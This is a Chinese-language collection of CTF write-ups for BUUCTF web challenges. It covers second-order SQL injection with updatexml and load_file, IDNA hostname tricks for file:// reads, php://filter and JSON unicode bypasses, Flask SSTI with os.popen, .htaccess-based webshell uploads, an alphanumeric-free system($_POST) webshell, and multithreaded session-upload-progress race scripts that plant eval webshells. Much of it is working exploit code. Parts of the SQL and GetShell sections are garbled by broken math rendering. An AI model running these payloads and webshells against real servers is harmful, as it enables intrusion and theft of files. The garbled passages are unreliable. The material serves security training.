index.php里面虽然给了一个文件包含,不过有一定的限制,还设置了openbasedir,并且剩下的代码都是数据库相关操作,懒得考虑文件包含还能怎么利用了,看数据库操作
change.php,delete.php,search.php,confirm.php四个文件分别完成修改删除查找和插入四个功能,其中每个操作都对用户名和手机号做了超级过滤$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';,有这样子的正则限制,感觉是什么也做不了了,但是address项却未做任何过滤,可以考虑通过address进行注入
在change.php中发现address被拿进去用了,虽然confirm.php中也使用了address,但是用的SQL预处理,无法注入,而change.php中是将已入库的数据又拿出来用,显然构成了二次注入

old_address的值完全可控且不受限制,而紧随其后的还有一个$db->error的输出,可以使用报错注入来获取数据,报错注入有一个长度限制,

注意sql语句

$ sql = “updateusersetaddress='”.a d d r e s s . " ′ , ‘ o l d a d d r e s s ‘ = ′ " . address."', `old_address`='".address.",oldaddress=".row[‘address’].“’ whereuser_id=”. $row[‘user_id’];
使用updataxml报错注入,updataxml函数对字符串长度有限制,所以分段进行读取

1’ where user_id=updatexml(1,concat(0x7e,(select substr(load_file(‘/flag.txt’),1,30)),0x7e),1)#

这里有另一种方法(不理解)
由于address可被查询,可以闭合一下引号,再次对address进行赋值,这样子就可以把查询结果回显出来
payload如下
payload = "',\address={} where user_name=’z33’ – “.format(“(select * from(select load_file(‘/flag.txt’))a)”)
在update语句中使用select的时候要额外套一层select然后还要给内层select起一个别名(原理没深究过但的确是这样的)
无过滤语句以此payload可以为所欲为了

因为一次攻击需要访问三个界面太麻烦,写了个垃圾脚本

importrequests url="http://2e1c4b3c-565d-423f-90d7-ac12827e9518.node3.buuoj.cn/"phone="28"payload="',`address`={} where user_name='z33' -- ".format("(select * from(select load_file('/flag.txt'))a)")data={"user_name":"z33","phone":phone,"address":payload}res1=requests.post(url=url+"confirm.php",data=data)data={"user_name":"z33","phone":phone,"address":"111"}res2=requests.post(url=url+"change.php",data=data)# print(res2.text)data={"user_name":"z33","phone":phone}res3=requests.post(url=url+"search.php",data=data)print(res3.text)

可以看出来攻击过程是先提交数据,然后在change中将payload从库中取出完成修改,最后去search.php查询得到数据,phone每次提交改一下,不然新的数据插入不进去

[SUCTF 2019]Pythonginx

直接给了源码

代码上看,我们需要提交一个url,用来读取服务器端任意文件

简单来说,需要逃脱前两个if,成功进入第三个if。

而三个if中判断条件都是相同的,不过在此之前的host构造却是不同的,这也是blackhat该议题中想要说明的一点

当URL 中出现一些特殊字符的时候,输出的结果可能不在预期

接着我们只需要按照getUrl函数写出爆破脚本即可得到我们能够逃逸的构造语句了

from urllib.parse import urlparse,urlunsplit,urlsplit from urllib import parse def get_unicode(): for x in range(65536): uni=chr(x) url="http://suctf.c{}".format(uni) try: if getUrl(url): print("str: "+uni+' unicode: \\u'+str(hex(x))[2:]) except: pass def getUrl(url): url=url host=parse.urlparse(url).hostname 使用 urlparse 解析URL,并获取主机名(hostname) if host == 'suctf.cc': return False parts=list(urlsplit(url)) host=parts[1] 使用 urlsplit 将URL拆分为多个部分,并从这些部分中获取主机名 if host == 'suctf.cc': return False newhost=[] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1]='.'.join(newhost) 将主机名拆分为多个子域名部分。 对每个子域名部分进行编码转换(使用 idna 编码),以处理国际化域名(IDN)。 将编码后的子域名部分重新组合成新的主机名 finalUrl=urlunsplit(parts).split(' ')[0] 使用 urlunsplit 将URL部分重新组合成一个完整的URL。 去掉URL中的空格(如果有的话) host=parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return True else: return False if __name__=='__main__': get_unicode()

只需要用其中任意一个去读取文件就可以了

比如:http://29606583-b54e-4b3f-8be0-395c977bfe1e.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%82/…/…/…/…/…/etc/passwd

先读一下etc/passwd

题目提示我们是nginx,所以我们去读取nginx的配置文件

nginx一些文件存放的地方

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

这里读的路径是 /usr/local/nginx/conf/nginx.conf

http://29606583-b54e-4b3f-8be0-395c977bfe1e.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%82/…/…/…/…/…//usr/local/nginx/conf/nginx.conf

[HarekazeCTF2019]encode_and_encode

进去有个源代码,代码审计一波

<?php error_reporting(0); if (isset($_GET['source'])) { show_source(__FILE__); exit(); //这里有exit(),因此在进行测试时应删除URL后的source参数 } function is_valid($str) { $banword = [ // no path traversal -> 防止目录穿越 '\.\.', // no stream wrapper -> 过滤掉常见伪协议 '(php|file|glob|data|tp|zip|zlib|phar):', // no data exfiltration -> 过滤掉‘flag’关键词 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; //正则匹配违禁词 if (preg_match($regexp, $str)) { //对传入函数的字符进行检测 return false; } return true; } $body = file_get_contents('php://input'); //变量body利用php://input伪协议获取post数据 $json = json_decode($body, true); //变量body在进行json解码后赋值给变量json if (is_valid($body) && isset($json) && isset($json['page'])) { //对body内容进行过滤检测、检测json中是否存在page参数 -> 意味着我们的payload应传递给page参数 $page = $json['page']; $content = file_get_contents($page); //读取page中文件的内容并赋值给content -> 到这里就可以确定是一个文件包含漏洞了 if (!$content || !is_valid($content)) { //对content内容进行过滤检测 $content = "<p>not found</p>\n"; } } else { $content = '<p>invalid request</p>'; } // no data exfiltration!!! $content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content); //如果直接返回明文Flag则会替换掉Flag中的内容 -> 这里很明显需要对返回的内容进行加密,不难想到利用php://filter中的流控制器进行数据编码 echo json_encode(['content' => $content]); //输出content中的内容,即输出文件内容

猜测到本题是需要利用php://filter伪协议来读取文件的,难点在于绕过is_valid()这一检测函数,于是引出了json编码数据中的一个小Trick:

\uXXXX可以在JSON中转义字符,例如A与\u0041等效

也就是说我们可以将is_valid()中ban掉的关键词利用16进制的Unicode编码进行转义,从而实现绕过检测
首先构造读取/flag文件内容的payload:
php://filter/convert.base64-encode/resource=/flag
然后将过滤的关键词“php”与“flag”进行编码,得到:
\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067
之后构造json数据包:
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
将json数据利用post方式发送即可:

[网鼎杯 2020 半决赛]AliceWebsite

题目直接给了网站源码

分析index.php

文件包含,上面的代码并没有任何限制,可以利用可控变量action来访问flag
一层一层尝试即可找到flag 第三层找到了

[b01lers2020]Welcome to Earth

看源码发现有chase和die文件,抓个包看看

有一个leftt文件,访问一下,又有个shoot文件

door文件

发现check_door()函数和door.js文件

又发现了open文件 打开发现open_sesame.js文件

打开open_sesame.js文件 发现fight文件

发现/static/js/fight.js文件

打开/static/js/fight.js文件找到flag

提示以为是执行scramble函数获取flag值但不是,应该是对字典的元素进行排列组合

from itertools import permutations flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"] item = permutations(flag) for i in item: k = ''.join(list(i)) if k.startswith('pctf{hey_boys') and k[-1] == '}': print(k)

看起来最正常的一般就是flag

[红明谷CTF 2021]write_shell

还是代码审计

利用点应该就是利用file_get_contents函数写shell获取我们需要的信息

在此之前我们还需要找到要写入shell的文件路径,这时我们可以发现可以通过?action=pwd进行查看

这题把php给ban掉了,因为php的代码开始标签是<?php,这样就导致我们没办法进行php脚本的写入

php标签的php被过滤,可以换用短标签<?= code?>,相当于,至于;被过滤并不用单行,因为?>对于一组PHP代码中最后一句起到替代;的作用,所以我们可以构造如下payload:

?action=upload&data=

接下来列下根目录,至于空格被过滤有很多方法,这里采用%09来替代(制表符\t的URL编码)

?action=upload&data=

[CISCN2019 华东南赛区]Double Secret

提示欢迎找秘密直接后面加Secret 但s要小写

这句话意思是让我们传参来解密 随便输点,报错了 源码也泄露了

首先判断你是不是为空,如果是空的参数,则返回一段话,就是我们刚进页面看到的内容,如果你传入了参数,那么它就会进行加密,可以看到是RC4加密,而且还泄露了密钥,密钥就是“HereIsTreasure”,而且通过报错,我们了解到这是flask的模板,而且python的版本是2.7的,那么我们可以利用flask的模板注入,执行命令,只不过需要进行RC4加密
显示尝试{{7*7}},回显49,证明存在SSTI

接着先随便使用一个payload

python

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

payload:

secret=LhQZVqUJDWds0+csvb73uyesa3qIbel8A4UHthzzDeAhhE/XBOIX20CdgvEqM/MKqq1DYiqsJn/QdgbWvEsVvd1Zp1Q=

发现成功执行没有任何过滤,然后依次是

{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}

.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

[SUCTF 2019]EasyWeb

\x00: ASCII码为0的字符

-: 连字符

0-9: 数字0到9

A-Za-z: 大小写字母

'": 单引号、双引号

`: 反引号

~_&.,|=: 波浪线、下划线、&符号、逗号、竖线、等于号

[\x7F]+: ASCII码为127及以上的字符(常用于表示扩展的ASCII字符集)

其中 i 表示忽略大小写。

因此,这个正则表达式可以匹配包括数字、字母、符号以及一些特殊字符,例如扩展ASCII字符集中的字符。

preg_match的绕过在这里能想到的只有通过异或绕过(只有^没有被过滤,~|都被过滤)

php的eval()函数在执行时如果内部有类似"abc"^"def"的计算式,那么就先进行计算再执行。例如url?a={_GET}{b}();&b=phpinfo,也就是?a=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo,在传入后实际上为${????^????}{?}();但是到了eval()函数内部就会变成${_GET}{?}();成功执行。
<?php $l = ""; $r = ""; $argv = str_split("_GET"); for($i = 0; $i < count($argv); $i++) { for($j = 0; $j < 255; $j++) { $k = chr($j) ^ chr(255); if($k == $argv[$i]) { if($j < 16) { $l .= "%ff"; $r .= "%0" . dechex($j); } else { $l .= "%ff"; $r .= "%" . dechex($j); } break; // 找到就跳出内层循环 } } } echo "l = " . $l . PHP_EOL; echo "r = " . $r . PHP_EOL; l = %ff%ff%ff%ff r = %a0%b8%ba%ab

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

传入后实际为:?_=${_GET}{%ff}();&%ff=phpinfo

最终利用那个文件上传函数

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

非预期解直接搜flag拿到

过滤了ph后缀,文件里不能有<?,而且必须是图片文件

过滤了ph后缀,一般做法是传.htaccess或者在有php文件的情况下传.user.ini,但是不满足该目录下有php文件(这里文件上传的目录不可控企鹅不可回退遍历),因此考虑上传.htaccess文件和一个图片后缀的webshell

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

exif_imagetype - 确定图像的类型

**exif_imagetype()**读取图像的第一个字节并检查其签名。

这里在.htaccess文件中直接添加GIF89a会影响该文件的作用导致失败

用以下两种方法让我们的.htaccess生效

1. #define width 1337 2. #define height 1337 1. 在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型) 2. x00x00x8ax39x8ax39 是wbmp文件的文件头 3. .htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

文件内容不能有<?

一般是用**<script language="php"></script>来绕过,但是因为这题的PHP版本是7.3.4,<script language="php"></script>**这种写法在PHP7以后就不支持了,因此不行。

文件上传脚本

import requests import base64 htaccess = b""" #define width 1337 #define height 1337 AddType application/x-httpd-php .ahhh php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh" """ ##在shell.ahhh加载完毕后,再次包含base64解码后的shell.ahhh,成功getshell,所以这也就是为什么会出现两次shell.ahhh内容的原因,第一次是没有经过base64解密的,第二次是经过解密并且转化为php了的 shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>") url = "http://dfcea339-b6d8-4b48-99ac-9bfaecda5527.node4.buuoj.cn:81//?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag" files = {'file':('.htaccess',htaccess,'image/jpeg')} data = {"upload":"Submit"} response = requests.post(url=url, data=data, files=files) print(response.text) files = {'file':('shell.ahhh',shell,'image/jpeg')} response = requests.post(url=url, data=data, files=files) print(response.text)

upload/tmp_70579d1796bfdf99d77ae93cf4092361/.htaccess
upload/tmp_70579d1796bfdf99d77ae93cf4092361/shell.ahhh

open_basedir的限制,我们不能直接访问flag
我们需要进行绕过PHP绕过open_basedir列目录的研究 | 离别歌

yijian链接更目录下直接拿到

法二:

上传图片马

这里传图片马非常要注意的一点是总字节长度必须是4的倍数(保证base64解码成功

GIF98abbPD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+

上面内容中bb就是为了凑长度的(这里千万不要换行,虽然换行符也占字节,但是实测没有效果,大概是因为不是可读字符吧)

然后依次传入文件,直接访问传入的图片马就可以了

[GXYCTF2019]StrongestMind

这道题按着题目的提示做就可以了,计算一千次。
在写脚本之前,一定要完全理解页面的请求过程。第一次发送get请求,计算get请求的返回数据,post发送计算结果。
post请求后,系统会自动返回带有数字的数据,类似在post发送结果以后又执行了一次get请求。因此,我们在写代码的时候不要再次get请求。

知识点
import requests,time,re url = "http://0525568d-6f08-4bb6-8f0d-3b50e1657328.node5.buuoj.cn:81/" req = requests.session() #保持会话 getRe = req.get(url) #get请求 getRe.encoding = "UTF-8" #将返回的结果用UTF-8编码,不然会返回乱码 reContent = re.findall("[0-9]* [-+*/] [0-9]*",getRe.text) #提取表达式。math和search正则只会匹配一次,findall会一直匹配 formula = ''.join(reContent).replace(" ", "") #提取表达式 comResult = eval(formula) #eval执行一个表达式 print(comResult) data = {"answer":comResult} postRe = req.post(url,data)#构造 POST 数据,提交答案。 发送 POST 请求,提交表单字段 answer=结果。 postRe.encoding = "UTF-8" print(postRe.text)# 打印服务器返回的页面内容,查看是否答对 for i in range(1005): #多运行几次,避免其中的请求失败 reContent = re.findall("[0-9]* [-+*/] [0-9]*",postRe.text) formula = ''.join(reContent).replace(" ", "") comResult = eval(formula) print(comResult) data = {"answer":comResult} postRe = req.post(url,data) postRe.encoding = "UTF-8" time.sleep(0.1) #请求太快会被禁掉 print(postRe.text)

脚本跑完拿到

[SUCTF 2018]GetShell

打开网站看源码找到上传页面

if($ contents=file_get_contents(KaTeX parse error: Expected '}', got 'EOF' at end of input: …取从表单上传的临时文件的内容。_FILES[“file”][“tmp_name”]是PHP预定义的全局变量,存储了上传文件的临时路径。如果成功读取文件,其内容将被存储在 $contents变量中,然后执行后续代码;如果读取失败,if语句将不执行任何操作。
$ data=substr(c o n t e n t s , 5 ) ; 从 contents,5); 从contents,5);contents字符串的第6个字符开始截取数据,即忽略前5个字符。这可能是因为文件的前5个字符被认为是元数据或不需要检查的部分。
foreach ( $black_char as $ b) {
遍历b l a c k c h a r 数组中的每个元素, black_char数组中的每个元素,blackchar数组中的每个元素,black_char应该是一个包含黑名单字符的数组。
if (stripos( $data, $ b) !== false){
对于d a t a 中的每一项黑名单字符 data中的每一项黑名单字符data中的每一项黑名单字符b,使用stripos()函数查找它在d a t a 中的位置。 s t r i p o s ( ) 函数不区分大小写地搜索字符串,如果找到 data中的位置。stripos()函数不区分大小写地搜索字符串,如果找到data中的位置。stripos()函数不区分大小写地搜索字符串,如果找到b,函数将返回非false值,表示找到了匹配项。
die(“illegal char”);
如果在 $data中找到了黑名单字符,程序将终止执行并输出"illegal char",表示有非法字符存在。
}
结束if语句。
}
结束foreach循环。
呢么我们可以先尝试上传一个空文件,去看一下它是什么类型的题目

发现是直接存储为php文件了呢么这个题就清晰很多了,也就是我们要传入木马上去,经过测试,他题目是把数字和字母还有?>给ban掉的,但是?>可有可无
也就是说我们只要就<?php就可以正常解析和运行代码

中文脚本

<?php header('Content-Type: text/html; charset=utf-8');//防止页面出现乱码 $str = '当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候,我知道此次出行的目的已经完成了,我要开始收拾行李,明天早上离开这里。前几天有人问我,大学四年结束了,你也不说点什么?乌云发生了一些事情,所有人都缄默不言,你也是一样吗?你逃到南方,难道不回家了吗?当然要回家,我只是想找到我要找的答案。其实这次出来一趟很累,晚上几乎是热汗淋漓回到住处,厦门的海风伴着妮妲路过后带来的淅淅沥沥的小雨,也去不走我身上任何一个毛孔里的热气。好在旅社的生活用品一应俱全,洗完澡后我爬到屋顶。旅社是一个老别墅,说起来也不算老,比起隔壁一家旧中国时期的房子要豪华得多,竖立在笔山顶上与厦门岛隔海相望。站在屋顶向下看,灯火阑珊的鼓浪屿街市参杂在绿树与楼宇间,依稀还可以看到熙熙攘攘的游客。大概是夜晚渐深的缘故,周围慢慢变得宁静下来,我忘记白天在奔波什么,直到站在这里的时候,我才知道我寻找的答案并不在南方。当然也不在北方,北京的很多东西让我非常丧气,包括自掘坟墓的中介和颐指气使的大人们;北京也有很多东西让我喜欢,我喜欢颐和园古色古香的玉澜堂,我喜欢朝阳门那块“永延帝祚”的牌坊,喜欢北京鳞次栉比的老宅子和南锣鼓巷的小吃。但这些都不是我要的答案,我也不知道我追随的是什么,但想想百年后留下的又是什么,想想就很可怕。我曾经为了吃一碗臭豆腐,坐着优步从上地到北海北,兴冲冲地来到那个垂涎已久的豆腐摊前,用急切又害羞的口吻对老板说,来两份量的臭豆腐。其实也只要10块钱,吃完以后便是无与伦比的满足感。我记得那是毕业设计审核前夕的一个午后,五月的北京还不算炎热,和煦的阳光顺着路边老房子的屋檐洒向大地,但我还是不敢站在阳光下,春天的燥热难耐也绝不输给夏天。就像很多人冷嘲热讽的那样,做这一行谁敢把自己完全曝光,甭管你是黑帽子白帽子还是绿帽子。生活在那个时候还算美好,我依旧是一个学生,几天前辞别的同伴还在朝九晚五的工作,一切都照旧运行,波澜不远走千里吃豆腐这种理想主义的事情这几年在我身上屡屡发生,甚至南下此行也不例外。一年前的这个时候我许过一个心愿,在南普陀,我特为此来还愿。理想化、单纯与恋旧,其中单纯可不是一个多么令人称赞的形容,很多人把他和傻挂钩。“你太单纯了,你还想着这一切会好起来”,对呀,在男欢女爱那些事情上,我可不单纯,但有些能让人变得圆滑与世故的抉择中,我宁愿想的更单纯一些。去年冬天孤身一人来到北京,放弃了在腾讯做一个安逸的实习生的机会,原因有很多也很难说。在腾讯短暂的实习生活让我记忆犹新,我感觉这辈子不会再像一个小孩一样被所有人宠了,这些当我选择北漂的时候应该就要想到的。北京的冬天刺骨的寒冷,特别是2015年的腊月,有几天连续下着暴雪,路上的积雪一踩半步深,咯吱咯吱响,周遭却静的像深山里的古刹。我住的小区离公司有一段距离,才下雪的那天我甚至还走着回家。北京的冬天最可怕的是寒风,走到家里耳朵已经硬邦邦好像一碰就会碎,在我一头扎进被窝里的时候,我却慢慢喜欢上这个古都了。我想到《雍正皇帝》里胤禛在北京的鹅毛大雪里放出十三爷,那个拼命十三郎带着令牌取下丰台大营的兵权,保了大清江山盛世的延续与稳固。那一夜,北京的漫天大雪绝不逊于今日,而昔人已作古,来者尚不能及,多么悲哀。这个古都承载着太多历史的厚重感,特别是下雪的季节,我可以想到乾清宫前广场上千百年寂寞的雕龙与铜龟,屋檐上的积雪,高高在上的鸱吻,想到数百年的沧桑与朝代更迭。雪停的那天我去了颐和园,我记得我等了很久才摇摇摆摆来了一辆公交车,车上几乎没有人,司机小心翼翼地转动着方向盘,在湿滑的道路上缓慢前行。窗外白茫茫一片,阳光照在雪地上有些刺眼,我才低下头。颐和园的学生票甚至比地铁票还便宜。在昆明湖畔眺望湖面,微微泛着夕阳霞光的湖水尚未结冰,踩着那些可能被御碾轧过的土地,滑了无数跤,最后只能扶着湖边的石狮子叹气,为什么没穿防滑的鞋子。昆明湖这一汪清水,见证了光绪皇帝被囚禁十载的蹉跎岁月,见证了静安先生誓为先朝而自溺,也见证了共和国以来固守与开放的交叠。说起来,家里有本卫琪著的《人间词话典评》,本想买来瞻仰一下王静安的这篇古典美学巨著,没想到全书多是以批判为主。我自诩想当文人的黑客,其实也只是嘴里说说,真到评说文章是非的时候,我却张口无词。倒是誓死不去发,这点确实让我无限感慨:中国士大夫的骨气,真的是从屈原投水的那一刻就奠定下来的。有句话说,古往今来中国三大天才死于水,其一屈原,其二李白,其三王国维。卫琪对此话颇有不服,不纠结王国维是否能够与前二者相提并论,我单喜欢他的直白,能畅快评说古今词话的人,也许无出其右了吧。人言可畏、人言可畏,越到现代越会深深感觉到这句话的正确,看到很多事情的发展往往被舆论所左右,就越羡慕那些无所畏惧的人,不论他们是勇敢还是自负。此间人王垠算一个,网络上人们对他毁誉参半,但确实有本事而又不矫揉做作,放胆直言心比天高的只有他一个了。那天在昆明湖畔看过夕阳,直到天空变的无比深邃,我才慢慢往家的方向走。耳机放着后弦的《昆明湖》,不知不觉已经十年了,不知道这时候他有没有回首望望自己的九公主和安娜,是否还能够“泼墨造一匹快马,追回十年前姑娘”。后来,感觉一切都步入正轨,学位证也顺利拿到,我匆匆告别了自己的大学。后来也遇到了很多事,事后有人找我,很多人关心你,少数人可能不是,但出了学校以后,又有多少人和事情完全没有目的呢?我也考虑了很多去处,但一直没有决断,倒有念怀旧主,也有妄自菲薄之意,我希望自己能做出点成绩再去谈其他的,所以很久都是闭门不出,琢磨东西。来到厦门,我还了一个愿,又许了新的愿望,希望我还会再次来还愿。我又来到了上次没住够的鼓浪屿,订了一间安静的房子,只有我一个人。在这里,能听到的只有远处屋檐下鸟儿叽叽喳喳的鸣叫声,远处的喧嚣早已烟消云散,即使这只是暂时的。站在屋顶的我,喝下杯中最后一口水。清晨,背着行李,我乘轮渡离开了鼓浪屿,这是我第二次来鼓浪屿,谁知道会不会是最后一次。我在这里住了三天,用三天去寻找了一个答案。不知不觉我又想到辜鸿铭与沈子培的那段对话。“大难临头,何以为之?”“世受国恩,死生系之。”'; $payload = "$_POST[1]"; $result = ""; $num = 0; for ($i = 0; $i < mb_strlen($str, 'utf-8'); $i++) { $st = mb_substr($str, $i, 1, 'utf-8');//每次取一个 $a = ~($st); $b = $a[1];//汉字的第一位 if ($b == $payload[$num] && $num != strlen($payload)) { $num++; $result .= $st; } if ($num === strlen($payload)) { break; } } echo $result;

一个实用的异或脚本

#blacklist列表中的字符在生成的拼接字符串中不会被使用,除了部分是被过滤掉的字符,其余的如',"等字符考虑可能会导致闭合等问题暂列入 #如果有其他的要求可以对blacklist列表进行删改 blacklist=["`","'",'"',"\\""0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"] #不同于取反,一个目标字符串使用异或的方式可以获大量的可用拼接字符串,这里只取了1种组合的拼接字符串 #如果需要获得更多拼接字符串查看该函数中的result列表 def yiHuo(string): global operationEffient global blacklist operationEffient=False result=[] finalstr='""^""' rawstr=string for i in range(0,len(rawstr)): result.extend([[]]) for k in range(0,len(rawstr)): for i in range(32,255): if(chr(i) not in blacklist): for j in range(32,255): if(chr(j) not in blacklist): if(i^j==ord(rawstr[k])): result[k].extend([[hex(i).replace('0x',"%"),hex(j).replace('0x',"%")]]) #在这里往下的函数部分,result列表均是可用的(已填充了获得的拼接字符串) for i in range(0,len(result)): if(len(result[i])==0): return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i])) for i in range(0,len(rawstr)): finalstr=finalstr[:finalstr.find("^",0)-1]+result[i][0][0]+'"'+finalstr[finalstr.find("^",0):] finalstr=finalstr[:finalstr.rfind("'",0)]+result[i][0][1]+finalstr[finalstr.rfind('"',0):] return(finalstr) def quFan(string): global operationEffient global blacklist operationEffient=False result=[] finalstr='~""' rawstr=string for i in range(0,len(rawstr)): result.extend([[]]) for k in range(0,len(rawstr)): for i in range(32,255): if(chr(i) not in blacklist and chr(int(bin(~i & 0xFF)[2:],2))==rawstr[k]): result[k].extend([hex(i).replace('0x',"%")]) for i in range(0,len(result)): if(len(result[i])==0): return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i])) print(result) for i in range(0,len(rawstr)): finalstr=finalstr[:finalstr.rfind('"',0)]+result[i][0]+finalstr[finalstr.rfind('"',0):] return(finalstr) while(True): operationEffient=True target=input("请输入待转换字符\n") while(operationEffient): operation=input("请选择操作\n1->使用异或拼接\n2->使用取反获得\n") if(operation=="1"): result=yiHuo(target) pass elif(operation=="2"): result=quFan(target) pass else: print("选择的操作无效") continue print(result)

上传文件,然后截取内容,从第六位开始的内容都会赋给data变量,再通过变量来进行匹配看所上传的内容中是否有black_char,如果有则返回illegal char

一般的思路是上传木马,然后蚁剑连接或者直接执行命令,但是fuzz之后,数字及英文字母都被过滤了,这就需要使用特殊的木马构造方式 一些不包含数字和字母的webshell | 离别歌

没有过滤的字符有$ ( ) [ ] _ ~ ;

<?php $_=[]; // $__=$_.$_; //arrayarray $_=($_==$__);//$_=(array==arrayarray)明显不相同 false 0 $__=($_==$_);//$__=(array==array) 相同返回1 $___ = ~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];//system $____ = ~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];//_POST $____($$__[_]);//也就是system($_POST[_])

构造payload

<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);

命令执行成功

flag不在这里,但是可以使用env来得到flag

env命令用于显示系统中已存在的环境变量,以及在定义的环境中执行指令

[WMCTF2020]Make PHP Great Again

简单来说这里上面已经使用过文件包含了,所以我们必须想办法绕过require_once(只包含一次)的验证,从而实现再次包含文件flag.php

绕过:php源码分析 require_once 绕过不能重复包含文件的限制-安全KER - 安全资讯平台

非预期:脚本

import io import sys import requests import threading host = 'http://f1f8290e-450c-47c9-8dfd-b1bb5f4a2807.node4.buuoj.cn:81/' sessid = 'flag' def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( host, data={ "PHP_SESSION_UPLOAD_PROGRESS": "<?php $shell='<?php @eval($_POST[cmd])?>';system('ls /');fputs(fopen('shell.php','w'),$shell);file_put_contents('shell.php',$shell);echo md5('1');?>"}, files={"file": ('a.txt', f)}, cookies={'PHPSESSID': sessid} ) def read(session): while True: response = session.get(f'{host}?file=/tmp/sess_{sessid}') # 1的MD5值 if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text: print('[+++]retry') else: print(response.text) sys.exit() with requests.session() as session: t1 = threading.Thread(target=write, args=(session,)) t1.daemon = True # 主线程退出时,不管子线程是否完成都随主线程退出 t1.start() read(session)

漏洞原理

PHP 有一个session.upload_progress功能,在文件上传时会将进度信息存储在会话文件中。如果攻击者能够控制这个进度信息的内容,并且能够访问到会话文件,就可以写入恶意代码并执行。

  1. 基本配置
    • host:目标服务器地址
    • sessid:PHP 会话 ID,这里设置为 “flag”,后续会用于构造会话文件路径
  2. write 函数
    • 这是一个无限循环函数,不断向服务器发送 POST 请求
    • 通过
PHP_SESSION_UPLOAD_PROGRESS

参数注入 PHP 代码:

* 创建一个包含`eval`函数的 Webshell 代码 * 执行`ls /`命令查看根目录文件 * 尝试将 Webshell 写入到`shell.php`文件中 * 输出`1`的 MD5 值作为执行成功的标记 - 上传一个 50KB 的文件(内容为 'a')来触发上传进度机制 - 使用指定的`PHPSESSID`Cookie,确保会话一致
  1. read 函数
    • 这也是一个无限循环函数,不断尝试读取会话文件
    • 会话文件路径通常为/tmp/sess_<会话ID>,这里就是/tmp/sess_flag
    • 检查响应中是否包含1的 MD5 值(c4ca4238a0b923820dcc509a6f75849b
    • 如果找到这个标记,说明恶意代码已成功执行,打印响应内容并退出
  2. 主程序
    • 创建一个线程运行write函数,持续发送恶意请求
    • 主线程运行read函数,持续检查结果
    • 使用daemon=True确保主线程退出时子线程也随之退

import io import requests import threading sessid = 'bbbbbbb' data = {"cmd":"system('cat flag.php');"} def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'hhttp://818fd4fe-59c7-4af5-9a9c-3b366f889fb9.node5.buuoj.cn:81/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} ) def read(session): while True: resp = session.post('http://818fd4fe-59c7-4af5-9a9c-3b366f889fb9.node5.buuoj.cn:81/?file=/tmp/sess_'+sessid,data=data) if '1.txt' in resp.text: print(resp.text) event.clear() else: print("[+++++++++++++]retry") if __name__=="__main__": event=threading.Event() with requests.session() as session: for i in range(1,30): threading.Thread(target=write,args=(session,)).start() for i in range(1,30): threading.Thread(target=read,args=(session,)).start() event.set()

与上一个脚本的差异

  1. 采用多线程并发方式,同时启动多个读写线程,提高攻击成功率
  2. 恶意代码更简洁,仅保留eval函数作为后门
  3. 命令执行是通过后续请求的cmd参数动态传递的,而不是在注入代码时固定写死
  4. 使用线程事件进行简单的线程同步控制

预期

